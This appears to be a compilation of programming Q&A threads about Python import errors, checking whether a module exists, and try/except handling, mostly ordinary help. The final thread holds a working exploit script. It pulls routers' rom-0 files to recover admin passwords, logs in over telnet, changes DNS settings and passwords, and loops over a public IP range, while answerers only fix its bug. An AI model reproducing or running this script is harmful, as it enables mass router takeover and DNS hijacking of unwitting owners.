I have a snippet of Python code that throws an exception "No module named 'common_functions'" when I try to import the file "common_functions.py" from folder API.
def validate_config():
try:
import API
logger.debug(dir(API))
from API.common_functions import get_dbusername
except Exception as e:
import API
logger.debug(dir(API))
from API.common_functions import get_dbusername
When I look at the output of the logging of the modules present in API initially it is:
[..., 'config', 'external_config_operations']
but in the exception the missing module is present:
[ ..., 'common_functions', 'config','external_config_operations']
I've tried clearing out all cached files and for some reason this is still happening. Does anyone know why module discovery is working this way?
An example of what I need on Node.js
How can you import an unknown module into Python?
I need to be able to check the existence of a module and import it if it exists, or send a message that the module is not found.
I hope for your help >-<
I think this is what you are looking for:
try:
import {Package-to-import}
except ModuleNotFoundError:
{Do something if import fails}
If you want some context from the exception you can use the following for the except statement
except ModuleNotFoundError as exc:
exc will be the instance of the raised exception.
for example:
lib = 'sqlite3'
exec(f'import {lib}')
print(sqlite3.connect)
I would like to narrow the common error "attempted relative import beyond top-level package" down by including the exception-handling in the imports already.
In my Django tests in DjangoProject/tests.py I wrote the imports relative to itself (tests.py).
The default unittests.py which executes each testfile is located in the root-folder which also includes the DjangoProject-folder.
As I was getting the error attempted relative import beyond top-level package the moment I added the
DjangoProject/tests.py to my Unit-Tests adnd it was clear it came from the imports. With a try/except I was able to write a slightly clearer error so I'm not in the need of guessing around why and which file caused the error.
Now my code looks like this:
try:
from django.utils.safestring import mark_safe
import json
from django.conf import settings
from viewsfunctions import *
from .. import PoM
import unittest
except Exception as importex:
print("Error in the tests.py-imports: "+str(importex))
And it threw first of all the message:
"No module named 'viewsfunctions'"
which makes sense and is helpful as viewsfunctions is a module inside DjangoProject. I replaced the line with: from DjangoProject.viewsfunctions import *
The next error is:
Error in the Imports: attempted relative import beyond top-level package
And this is exactly my problem. This could be anything. By just pdbing around I could track it down to from .. import PoM (as the module PoM is relative to tests.py in the top-folder, but relative to the executing unittests.py in the same folder)
In this case with just a few imports it's relatively fast to narrow it down, but is there any way to write a better exception message or deliver somehow more information in which of the import-lines the error actually happened?
If you would simply not catch the exception, you'd get a very useful traceback:
>>> from .. import foo
Traceback (most recent call last):
File "<input>", line 1, in <module>
File "/Users/deceze/...", line 21, in do_import
module = self._system_import(name, *args, **kwargs)
ImportError: attempted relative import with no known parent package
The problem is that you're catching the exception and are only printing the most minimal error message possible. If you do want to catch the exception for some reason yet still get a complete error message, the easiest way would be to use the logging module:
import logging
try:
...
except:
logging.exception('Error fooing the bar')
This will produce your custom error message followed by a complete stack trace.
To get even more manual, use the traceback module:
import traceback
try:
...
except:
print('Error fooing the bar')
traceback.print_exc()
With other functions in traceback you can get even more granular and print or retrieve messages from an exception as granular as you like.
How can I know if a Python module exists, without importing it?
Importing something that might not exist (not what I want) results in:
try:
import eggs
except ImportError:
pass
TL;DR) Use importlib.util.find_spec(module_name) (Python 3.4+).
Python2: imp.find_module
To check if import can find something in Python 2, using imp:
import imp
try:
imp.find_module('eggs')
found = True
except ImportError:
found = False
To find dotted imports, you need to do more:
import imp
try:
spam_info = imp.find_module('spam')
spam = imp.load_module('spam', *spam_info)
imp.find_module('eggs', spam.__path__) # __path__ is already a list
found = True
except ImportError:
found = False
You can also use pkgutil.find_loader (more or less the same as the Python 3 part:
import pkgutil
eggs_loader = pkgutil.find_loader('eggs')
found = eggs_loader is not None
Python 3
Python 3 ≤ 3.3: importlib.find_loader
You should use importlib. I went about doing this like:
import importlib
spam_loader = importlib.find_loader('spam')
found = spam_loader is not None
My expectation being, if you can find a loader for it, then it exists. You can also be a bit more smart about it, like filtering out what loaders you will accept. For example:
import importlib
spam_loader = importlib.find_loader('spam')
# only accept it as valid if there is a source file for the module - no bytecode only.
found = issubclass(type(spam_loader), importlib.machinery.SourceFileLoader)
Python 3 ≥ 3.4: importlib.util.find_spec
In Python 3.4 importlib.find_loader Python documentation was deprecated in favour of importlib.util.find_spec. The recommended method is the importlib.util.find_spec. There are others like importlib.machinery.FileFinder, which is useful if you're after a specific file to load. Figuring out how to use them is beyond the scope of this.
import importlib
spam_spec = importlib.util.find_spec("spam")
found = spam_spec is not None
This also works with relative imports, but you must supply the starting package, so you could also do:
import importlib
spam_spec = importlib.util.find_spec("..spam", package="eggs.bar")
found = spam_spec is not None
spam_spec.name == "eggs.spam"
While I'm sure there exists a reason for doing this - I'm not sure what it would be.
Warning
When trying to find a submodule, it will import the parent module (for ALL of the above methods)!
food/
|- __init__.py
|- eggs.py
## __init__.py
print("module food loaded")
## eggs.py
print("module eggs")
were you then to run
>>> import importlib
>>> spam_spec = importlib.util.find_spec("food.eggs")
module food loaded
ModuleSpec(name='food.eggs', loader=<_frozen_importlib.SourceFileLoader object at 0x10221df28>, origin='/home/user/food/eggs.py')
Comments are welcome on getting around this
Acknowledgements
#rvighne for importlib
#lucas-guido for Python 3.3+ deprecating find_loader
#enpenax for pkgutils.find_loader behaviour in Python 2.7
Python 3 >= 3.6: ModuleNotFoundError
The ModuleNotFoundError has been introduced in Python 3.6 and can be used for this purpose:
try:
import eggs
except ModuleNotFoundError:
# Error handling
pass
The error is raised when a module or one of its parents cannot be found. So
try:
import eggs.sub
except ModuleNotFoundError as err:
# Error handling
print(err)
would print a message that looks like No module named 'eggs' if the eggs module cannot be found; but it would print something like No module named 'eggs.sub' if only the sub module couldn't be found, but the eggs package could be found.
See the documentation of the import system for more information on the ModuleNotFoundError.
After using yarbelk's response, I've made this so I don't have to import ìmp.
try:
__import__('imp').find_module('eggs')
# Make things with a supposed existing module
except ImportError:
pass
It is useful in Django's settings.py file, for example.
Python 2, without relying on ImportError
Until the current answer is updated, here is the way for Python 2
import pkgutil
import importlib
if pkgutil.find_loader(mod) is not None:
return importlib.import_module(mod)
return None
Why another answer?
A lot of answers make use of catching an ImportError. The problem with that is, that we cannot know what throws the ImportError.
If you import your existent module and there happens to be an ImportError in your module (e.g., typo on line 1), the result will be that your module does not exist.
It will take you quite the amount of backtracking to figure out that your module exists and the ImportError is caught and makes things fail silently.
go_as's answer as a one-liner:
python -c "help('modules');" | grep module
Use one of the functions from pkgutil, for example:
from pkgutil import iter_modules
def module_exists(module_name):
return module_name in (name for loader, name, ispkg in iter_modules())
I wrote this helper function:
def is_module_available(module_name):
if sys.version_info < (3, 0):
# python 2
import importlib
torch_loader = importlib.find_loader(module_name)
elif sys.version_info <= (3, 3):
# python 3.0 to 3.3
import pkgutil
torch_loader = pkgutil.find_loader(module_name)
elif sys.version_info >= (3, 4):
# python 3.4 and above
import importlib
torch_loader = importlib.util.find_spec(module_name)
return torch_loader is not None
Here is a way to check if a module is loaded from the command line:
Linux/UNIX script file method: make a file module_help.py:
#!/usr/bin/env python
help('modules')
Then make sure it's executable: chmod u+x module_help.py
And call it with a pipe to grep:
./module_help.py | grep module_name
Invoke the built-in help system. (This function is intended for interactive use.) If no argument is given, the interactive help system starts on the interpreter console. If the argument is a string, then the string is looked up as the name of a module, function, class, method, keyword, or documentation topic, and a help page is printed on the console. If the argument is any other kind of object, a help page on the object is generated.
Interactive method: in the console, load python
>>> help('module_name')
If found, quit reading by typing q.
To exit the Python interpreter interactive session, press Ctrl + D
Windows script file method, also Linux/UNIX compatible, and better overall:
#!/usr/bin/env python
import sys
help(sys.argv[1])
Calling it from the command like:
python module_help.py site
Would output:
Help on module site:
NAME
site - Append module search paths for third-party packages to sys.path.
FILE
/usr/lib/python2.7/site.py
MODULE DOCS
http://docs.python.org/library/site
DESCRIPTION
...
:
And you'd have to press q to exit interactive mode.
Using it for an unknown module, e.g.,
python module_help.py lkajshdflkahsodf
Would output:
no Python documentation found for 'lkajshdflkahsodf'
and exit.
You could just write a little script that would try to import all the modules and tell you which ones are failing and which ones are working:
import pip
if __name__ == '__main__':
for package in pip.get_installed_distributions():
pack_string = str(package).split(" ")[0]
try:
if __import__(pack_string.lower()):
print(pack_string + " loaded successfully")
except Exception as e:
print(pack_string + " failed with error code: {}".format(e))
Output:
zope.interface loaded successfully
zope.deprecation loaded successfully
yarg loaded successfully
xlrd loaded successfully
WMI loaded successfully
Werkzeug loaded successfully
WebOb loaded successfully
virtualenv loaded successfully
...
A word of warning: this will try to import everything, so you'll see things like PyYAML failed with error code: No module named pyyaml, because the actual import name is just yaml. So as long as you know your imports, this should do the trick for you.
There isn't any way to reliably check if "dotted module" is importable without importing its parent package. Saying this, there are many solutions to problem "how to check if a Python module exists".
The below solution addresses the problem that an imported module can raise an ImportError even if it exists. We want to distinguish that situation from such in which the module does not exist.
Python 2:
import importlib
import pkgutil
import sys
def find_module(full_module_name):
"""
Returns module object if module `full_module_name` can be imported.
Returns None if module does not exist.
Exception is raised if (existing) module raises exception during its import.
"""
module = sys.modules.get(full_module_name)
if module is None:
module_path_tail = full_module_name.split('.')
module_path_head = []
loader = True
while module_path_tail and loader:
module_path_head.append(module_path_tail.pop(0))
module_name = ".".join(module_path_head)
loader = bool(pkgutil.find_loader(module_name))
if not loader:
# Double check if module realy does not exist
# (case: full_module_name == 'paste.deploy')
try:
importlib.import_module(module_name)
except ImportError:
pass
else:
loader = True
if loader:
module = importlib.import_module(full_module_name)
return module
Python 3:
import importlib
def find_module(full_module_name):
"""
Returns module object if module `full_module_name` can be imported.
Returns None if module does not exist.
Exception is raised if (existing) module raises exception during its import.
"""
try:
return importlib.import_module(full_module_name)
except ImportError as exc:
if not (full_module_name + '.').startswith(exc.name + '.'):
raise
In django.utils.module_loading.module_has_submodule:
import sys
import os
import imp
def module_has_submodule(package, module_name):
"""
check module in package
django.utils.module_loading.module_has_submodule
"""
name = ".".join([package.__name__, module_name])
try:
# None indicates a cached miss; see mark_miss() in Python/import.c.
return sys.modules[name] is not None
except KeyError:
pass
try:
package_path = package.__path__ # No __path__, then not a package.
except AttributeError:
# Since the remainder of this function assumes that we're dealing with
# a package (module with a __path__), so if it's not, then bail here.
return False
for finder in sys.meta_path:
if finder.find_module(name, package_path):
return True
for entry in package_path:
try:
# Try the cached finder.
finder = sys.path_importer_cache[entry]
if finder is None:
# Implicit import machinery should be used.
try:
file_, _, _ = imp.find_module(module_name, [entry])
if file_:
file_.close()
return True
except ImportError:
continue
# Else see if the finder knows of a loader.
elif finder.find_module(name):
return True
else:
continue
except KeyError:
# No cached finder, so try and make one.
for hook in sys.path_hooks:
try:
finder = hook(entry)
# XXX Could cache in sys.path_importer_cache
if finder.find_module(name):
return True
else:
# Once a finder is found, stop the search.
break
except ImportError:
# Continue the search for a finder.
continue
else:
# No finder found.
# Try the implicit import machinery if searching a directory.
if os.path.isdir(entry):
try:
file_, _, _ = imp.find_module(module_name, [entry])
if file_:
file_.close()
return True
except ImportError:
pass
# XXX Could insert None or NullImporter
else:
# Exhausted the search, so the module cannot be found.
return False
In case you know the location of file and want to check that the respective Python code file has that module or not, you can simply check via the astor package in Python. Here is a quick example:
"""
Check if a module function exists or not without importing a Python package file
"""
import ast
import astor
tree = astor.parse_file('handler.py')
method_to_check = 'handle'
for item in tree.body:
if isinstance(item, ast.FunctionDef):
if item.name == method_to_check:
print('method exists')
break
A simpler if statement from Ask Ubuntu, How do I check whether a module is installed in Python?:
import sys
print('eggs' in sys.modules)
You can also use importlib.util directly
import importlib.util
def module_exists_without_import(module_name):
spec = importlib.util.find_spec(module_name)
return spec is not None
I'm new in python programming. When i try running a simple python script i get error like this in my terminal
root#bt:/tmp# python code.py
Traceback (most recent call last):
File "code.py", line 42, in <module>
print host+" -> Offline!"
NameError: name 'host' is not defined
I have been search in Google but im difficult to fix my problem because im new in this programming language. Can you help me?
This is my script like this :
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
from netaddr import IPNetwork
import urllib2
import urllib
import re
import getpass
import sys
import telnetlib
import time
import os
import socket
import sys
socket.setdefaulttimeout(4)
register_openers()
try:
os.remove("rom-0")
except:
pass
try:
host=str(sys.argv[1])
urllib.urlretrieve ("http://"+host+"/rom-0", "rom-0")
datagen, headers = multipart_encode({"uploadedfile": open("rom-0")})
request = urllib2.Request("http://localhost/decoded.php", datagen, headers)
str1 = urllib2.urlopen(request).read()
m = re.search('rows=10>(.*)', str1)
if m:
found = m.group(1)
tn = telnetlib.Telnet(host, 23, 3)
tn.read_until("Password: ")
tn.write(found + "\n")
tn.write("set lan dhcpdns 8.8.8.8\n")
tn.write("sys password admin\n")
print host+" -> Success"
tn.write("exit\n")
except:
print host+" -> Offline!"
How i can fix error like this.?
Thanks
If i put : host=str(sys.argv[1]) before try.except show error like this :
Traceback (most recent call last):
File "code.py", line 17, in
host=str(sys.argv[1])
IndexError: list index out of range
And this is my input :
from netaddr import IPNetwork
import os
for ip in IPNetwork ('41.108.48.1/24'):
os.system("python code.py "+str(ip))
Your except clause will catch any error in any line of code in the try block. If you don't specify enough arguments on the command line, the line host = str(sys.argv[1]) will fail, leaving host unassigned, which then causes the error you are seeing when you try to print it.
You should take most of the code out of your try block, really, and/or create multiple try blocks that catch errors in much smaller chunks of code. Furthermore, you should specify the actual exception type you want to handle with each except instead of trying to handle all of them. Bare except: catches things you probably don't want caught, such as KeyboardInterrupt and SystemExit. If you must catch most exceptions, use except Exception: instead of just except:.
it seem that your script expects an input parameter
host=str(sys.argv[1])
in case that parameter is not supplied, as shown in your post, an exception raised and been caught in the except clause before the host parameter was defined
try to declare host before the try/except block
you are defining host in the first line of try/except
i believe the error is in that first line.
to debug this take remove the try/except to see what the actual error is.